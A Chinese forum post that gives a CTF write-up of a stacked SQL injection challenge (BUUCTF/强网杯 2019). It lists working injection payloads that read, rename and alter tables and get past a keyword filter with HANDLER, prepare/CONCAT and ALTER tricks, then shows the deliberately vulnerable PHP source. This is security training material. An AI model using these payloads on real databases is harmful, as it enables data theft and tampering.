找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 279|回复: 0

☆ BUUCTF靶场6 -- [强网杯 2019]随便注

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-1 11:37:21 | 显示全部楼层 |阅读模式 IP:山东省青岛市 移动

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
[强网杯 2019]随便注
考点:堆叠注入

1.png

2.png

输入:
[SQL] 纯文本查看 复制代码
1 union select 1,2#

报错
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);说明过滤掉了这几个关键词
猜测这里的MySQL语句结构应该是:

[SQL] 纯文本查看 复制代码
select * from words where id='$inject';

构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可
先列出所有数据库:

[SQL] 纯文本查看 复制代码
1';show databases;#

得到:
[Plain Text] 纯文本查看 复制代码
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}


选择数据库:

[SQL] 纯文本查看 复制代码
1';use supersqli;#

查询supersqli库中的所有表:

[SQL] 纯文本查看 复制代码
1';show tables;#

得到:

[Plain Text] 纯文本查看 复制代码
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}


查询1919810931114514表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显):
[SQL] 纯文本查看 复制代码
1';show columns from `1919810931114514`;#
[SQL] 纯文本查看 复制代码
1';desc `1919810931114514`;#

得到:
[Plain Text] 纯文本查看 复制代码
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where:
下面开始讲解获取flag的三种方法:


方法一、handler语句代替select查询:
mysql中有个handler语句可以代替select部分功能

这个方法在i春秋GYCTF中本题的升级版(多过滤了prepare、set、rename,显然前两种方法都不适用)中亮相

构造payload

[SQL] 纯文本查看 复制代码
1';handler `1919810931114514` open;handler `1919810931114514` read next;
[SQL] 纯文本查看 复制代码
1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#
[SQL] 纯文本查看 复制代码
1';handler `1919810931114514` open as ye;  //同样的,这里的表名因为是纯数字所以需要用反引号包裹
handler ye read first;
handler ye close;#  //注意:这里必须close handler才可以获取Flag


这里附上handler的用法:
[SQL] 纯文本查看 复制代码
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

e.g: 通过handler语句查询users表的内容:
[SQL] 纯文本查看 复制代码
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄


方法二、预编译或称储存过程绕过(利用prepare语句):
预编译相关语法如下:
[Plain Text] 纯文本查看 复制代码
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload
[SQL] 纯文本查看 复制代码
1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');    //字符串拼接绕过select过滤
prepare stmt from @sql;
EXECUTE stmt;#

strstr这个函数并不能区分大小写,我们将payload其大写即可
[SQL] 纯文本查看 复制代码
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;#

关于这种绕过方式可以参考: PDO场景下的SQL注入探究

方法三、重命名绕过(利用alter语句与rename语句):
修改表名和列名的语法如下:
[Plain Text] 纯文本查看 复制代码
修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);


payload
[SQL] 纯文本查看 复制代码
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

执行完上述请求再请求1' or 1=1#即可获得Flag
就能查询到1919810931114514改名成words的内容了



做完题之后分析一下源码:
[PHP] 纯文本查看 复制代码
<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
      do{
        if ($rs = $mysqli->store_result()){
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close();
          if ($mysqli->more_results()){
            echo "<hr>";
          }
        }
      }while($mysqli->next_result());
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();
}
?>
</pre>
</body>
</html>


堆叠注入的成因在这里:

[SQL] 纯文本查看 复制代码
$res = $mysqli->multi_query($sql);

这里的multi_query()可以执行一条或多条sql语句,从而导致了堆叠注入的产生。


参考:
     1. https://blog.csdn.net/weixin_46439278/article/details/118091075
     2. https://www.cnblogs.com/yesec/p/12381210.html



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 04:45

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表